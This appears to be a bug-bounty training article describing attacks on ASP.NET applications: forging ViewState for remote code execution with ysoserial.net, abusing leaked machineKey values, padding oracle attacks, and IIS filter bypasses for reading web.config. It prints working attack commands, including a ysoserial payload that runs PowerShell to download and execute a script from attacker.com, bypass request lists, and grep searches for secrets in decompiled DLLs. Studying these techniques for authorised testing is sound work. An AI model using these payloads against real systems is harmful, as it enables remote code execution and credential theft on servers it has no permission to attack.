Advanced levelPremium

ASP.NET — ViewState deserialization, machineKey leak, padding oracle

Classic and modern vulnerabilities in the ASP.NET stack: ViewState deserialization without signature validation, machineKey leak via web.config disclosure, padding oracle attacks against encrypted ViewState.

Gorka El BochiMay 11, 202617 min

Quick answer

ASP.NET ViewState is a serialized .NET blob sent on every postback. If the machineKey is exposed (via web.config disclosure, LFI, GitHub leak) or if enableViewStateMac=false (legacy apps), ViewState becomes RCE-as-a-service via ysoserial.net. Padding oracle attacks against encrypted ViewState are still alive in unpatched apps. The modern stack (ASP.NET Core) doesn't use ViewState but inherits deserialization issues in BinaryFormatter, Json.NET with TypeNameHandling and XML deserialization.


ASP.NET stack — quick fingerprinting

IndicatorMeans
Cookie ASP.NET_SessionIdClassic ASP.NET stack (Framework)
Cookie .AspNetCore.SessionASP.NET Core
Header X-Powered-By: ASP.NETEither one
Header X-AspNet-Version: 4.0.30319ASP.NET Framework 4.x
HTML <input type="hidden" name="__VIEWSTATE">WebForms — direct ViewState vector
HTML <input name="__EVENTVALIDATION">WebForms with event validation
Extension .aspx, .ashx, .asmx, .axdWebForms
Extension .cshtml / no extensionMVC / Core
URL (S(...)) or (A(...)) in the pathCookieless sessions

ViewState — anatomy and vectors

ViewState is a __VIEWSTATE blob (base64) that the server emits in WebForms forms. It contains the serialized state of controls. By default:

  • It has a MAC (Message Authentication Code) signed with validationKey.
  • Optionally encrypted with decryptionKey.
  • The algorithm is defined in the machineKey config.
xml
<machineKey
    validationKey="ABC...DEF"
    decryptionKey="123...456"
    validation="SHA1"
    decryption="AES" />

Vector 1 — enableViewStateMac="false" (legacy)

ASP.NET <4.5 allowed disabling MAC. If you find it (rare but present in very old apps):

bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
  -c "powershell -c IEX(IWR -useb http://attacker.com/x.ps1)" \
  --isdebug --islegacy

Generates a __VIEWSTATE that, when deserialized, runs the command. POST to the vulnerable endpoint → RCE.

Vector 2 — leaked machineKey

Much more common. The machineKey appears in web.config. If you have:

  • LFI on an endpoint ?file=../web.config
  • Public backup files: web.config.bak, web.config.old, web.config~
  • Git history leak: git show HEAD~5:web.config
  • Visual Studio publish artifacts: Web.Release.config.bak
  • Decompiled DLL with a hardcoded machineKey (DnSpy → reverse engineering)
xml
<machineKey
    validationKey="70D2B19FD2A1AAA3D9F60E0B7A8D1D2EBF4F8C..."
    decryptionKey="4D69E83A9810B...0AB37FFDCD2BE"
    validation="HMACSHA256"
    decryption="AES" />

With those values, you sign a valid ViewState:

bash
ysoserial.exe -p ViewState \
  --path="/login.aspx" \
  --apppath="/" \
  -c "whoami" \
  -g TypeConfuseDelegate \
  --validationkey="70D2B19F..." \
  --validationalg="HMACSHA256" \
  --decryptionkey="4D69E83A..." \
  --decryptionalg="AES"

Result: a __VIEWSTATE blob with a valid MAC. POST to the endpoint → deserialize → RCE.


Padding Oracle against encrypted ViewState

ASP.NET up to the MS10-070 patch (Oct 2010) was vulnerable to a padding oracle if:

  • ViewState encrypted with AES-CBC.
  • The server responded with a different error depending on valid/invalid padding.

Tool: Padding-Oracle-Attack (PadBuster). Workflow:

  1. Identify the encrypted blob in a cookie/ViewState.
  2. PadBuster sends variants byte-by-byte measuring the response differential.
  3. Reconstructs the plaintext byte-by-byte.
  4. To encrypt arbitrary content, use the same technique in reverse.
bash
padbuster.pl https://target.com/page.aspx?d=COOKIE COOKIE 16 -encoding 3

Apps unpatched in 2026 are rare but exist in legacy government and enterprise SaaS. The patch changed the behavior so that a padding error and a MAC error generate the same response (200 + redirect to error page) — but custom implementations are still vulnerable.


Discovering machineKey via info disclosure

web.config leak

http
GET /web.config HTTP/1.1
GET /Web.config HTTP/1.1
GET /WEB.CONFIG HTTP/1.1
GET /web.config.bak HTTP/1.1
GET /web.config.old HTTP/1.1
GET /web.config~ HTTP/1.1
GET /Web.Release.config HTTP/1.1

IIS by default does NOT serve .config (request filtering blocks it). But bypasses:

http
GET /web.config%20 HTTP/1.1       # trailing space
GET /web.config.. HTTP/1.1        # doble dot
GET /web.config::$DATA HTTP/1.1   # NTFS alternative data stream
GET /web.config%00.txt HTTP/1.1   # null byte + permitted extension
GET /web.config;.jpg HTTP/1.1     # semicolon path parameter
GET /.%2e/web.config HTTP/1.1     # encoded traversal

elmah.axd / trace.axd

Accessible error logs:

bash
/elmah.axd
/trace.axd
/Trace.axd
/Reports/Elmah.axd
/admin/elmah.axd

They may contain:

  • Stack traces with absolute filesystem paths.
  • Partially exposed connection strings.
  • Session tokens, antiforgery tokens.
  • In the worst case, the machineKey appears in stack traces when ASP.NET fails to validate a malformed ViewState.

DLL decompilation

The app loads custom DLLs from /bin/. If LFD allows downloading them:

http
GET /Download?file=../../bin/Company.Web.Api.dll

You run the DLL through DnSpy or JetBrains dotPeek → decompiled C# source. You look for machineKey, hardcoded passwords, connection strings, secret API keys.

bash
# Línea de comandos
ilspycmd Company.Web.Api.dll -o ./decompiled
grep -r 'machineKey\|password\|secret' decompiled/

Keep reading the full chain

The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.

Practice this in a lab

Asp Net Viewstate

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy